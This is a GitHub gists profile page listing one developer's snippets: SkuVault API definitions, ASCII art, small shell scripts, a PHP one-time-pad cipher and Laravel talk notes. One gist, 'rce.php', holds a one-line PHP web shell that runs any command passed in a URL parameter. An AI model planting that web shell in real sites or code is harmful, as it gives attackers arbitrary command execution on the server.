Skip to content

Instantly share code, notes, and snippets.

View jamiehoward's full-sized avatar
🎯
Focusing

Jamie Howard jamiehoward

🎯
Focusing
View GitHub Profile
@jamiehoward
jamiehoward / skuvault-api.yaml
Created March 24, 2023 15:27
YAML version of the SkuVault API definition
-
url: /addItem
method: post
params: [{ name: Sku, type: string, desc: 'Product SKU. Used when CODE is blank.' }, { name: Code, type: string, desc: 'Product CODE. Used when SKU is blank.' }, { name: WarehouseId, type: int, desc: '*from [getWarehouses](doc:getwarehouses)*' }, { name: LocationCode, type: string, desc: 'The warehouse location inventory will be added to.' }, { name: Quantity, type: int, desc: 'Quantity to add.' }, { name: Reason, type: string, desc: 'Transaction reason must exist in SkuVault' }, { name: Note, type: string, desc: 'Transaction Note' }, { name: SerialNumbers, type: array_string, desc: 'Serial Numbers. Required only for serialized products. Amount of Serial Numbers should correspond to the Quantity.' }, { name: TenantToken, type: string, desc: '*from [getTokens](doc:gettokens)*' }, { name: UserToken, type: string, desc: '*from [getTokens](doc:gettokens)*' }, { name: Content-Type, type: string, desc: application/json }, { name: Accept, type: string, desc: application/json
@jamiehoward
jamiehoward / skuvault-api.json
Last active March 24, 2023 14:45
skuvault api definition
[{"url":"\/addItem","method":"post","params":[{"name":"Sku","type":"string","desc":"Product SKU. Used when CODE is blank."},{"name":"Code","type":"string","desc":"Product CODE. Used when SKU is blank."},{"name":"WarehouseId","type":"int","desc":"*from [getWarehouses](doc:getwarehouses)*"},{"name":"LocationCode","type":"string","desc":"The warehouse location inventory will be added to."},{"name":"Quantity","type":"int","desc":"Quantity to add."},{"name":"Reason","type":"string","desc":"Transaction reason must exist in SkuVault"},{"name":"Note","type":"string","desc":"Transaction Note"},{"name":"SerialNumbers","type":"array_string","desc":"Serial Numbers. Required only for serialized products. Amount of Serial Numbers should correspond to the Quantity."},{"name":"TenantToken","type":"string","desc":"*from [getTokens](doc:gettokens)*"},{"name":"UserToken","type":"string","desc":"*from [getTokens](doc:gettokens)*"},{"name":"Content-Type","type":"string","desc":"application\/json"},{"name":"Accept","type":"string"
@jamiehoward
jamiehoward / dedsec-skull-ascii.txt
Created February 28, 2018 19:42
The ASCII art skull from Watch_Dogs game
|
pN▒g▒p▒g▒▒g▒ge
▒▒▒▒▒▒▒▓▓▒▒▒▒▒
_0▒▓▒▓▒▓▓▒▒▒▒▒▒▒!
4▒▒▒▒▒▓▓▓▒▓▓▒▒▒▒▒Y
|` ~~#00▓▓0▒MMM"M|
`gM▓M7
| 00Q0 |
#▒____g▒0▓▓P______0
#▒0g_p#▓▓04▒▒&,__M#
@jamiehoward
jamiehoward / wp-env-forge-symlink.sh
Created February 23, 2018 14:33
Create a symlink for Wordpress config in Laravel Forge
@jamiehoward
jamiehoward / orange-ascii-logo.txt
Last active February 23, 2018 14:29
Orange ASCII logo

@@@@@@@@@@@
@@@ @@@
@@ @@@@@@@@@@ @@@
@@@@@ @@@@ @@ _ \ __| _` | __ \ _` | _ \
@@@ @@@@@@@ @@@ @@ ( | | ( | | | ( | __/
@@ @ @@ @ @@@ @@ \___/ _| \__,_|_| _|\__, |\___|
@@ @ @@ @ @@@ @@ |___/
@@@ @ @ @@@ @@@ Helping kids have a
@@@ @@@@@ @@@ @@@ better future.
@jamiehoward
jamiehoward / packet-loss-check.sh
Last active October 16, 2017 15:35
Script to check for pack loss
echo "Checking packet loss..."
ping -c 100 google.com | grep -o "[0-9]*\.[0-9]*% packet loss"
say "Packet loss check complete."
@jamiehoward
jamiehoward / install.sh
Last active August 16, 2017 19:28
Search a file or directory for known Tor exit node IP addresses
#!/bin/sh
cp tor-search.sh /usr/local/bin/tor-search
chmod +x /usr/local/bin/tor-search
@jamiehoward
jamiehoward / rce.php
Created August 16, 2017 14:35
PHP remote command execution script
// This is a super basic, but effective remote command execution (RCE) script.
<?=system($_GET['cmd'])?>
@jamiehoward
jamiehoward / one-time-pad.php
Created January 22, 2017 00:50
One Time Pad
<?php
$ls = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];
$ks = strtoupper('horsebounceauburnrooseveltbeepswapnoreastersatchelcuriousdunamiswintermintrubikdandermystifyapogeefranciscandiminish');
$vs = [];
function encode($str) {
$str = strtoupper(preg_replace('/[^a-zA-Z]/', '', $str));
global $ls, $ks;
$n = [];
foreach (str_split($str) as $k => $c) {
@jamiehoward
jamiehoward / test-driven-laravel.md
Created July 28, 2016 13:51
Laracon 2016 - Adam Wathan - Test Driven Laravel

Test Driven Laravel - Adam Wathan

@adamwathan

  • Write the test, then write the code to satisfy that test.
  • Write the complete minimum to satisfy the test
  • If the class doesn't exist, only create the class.
  • Always write the tests before beginning the code.
  • Start by specifying the application functions.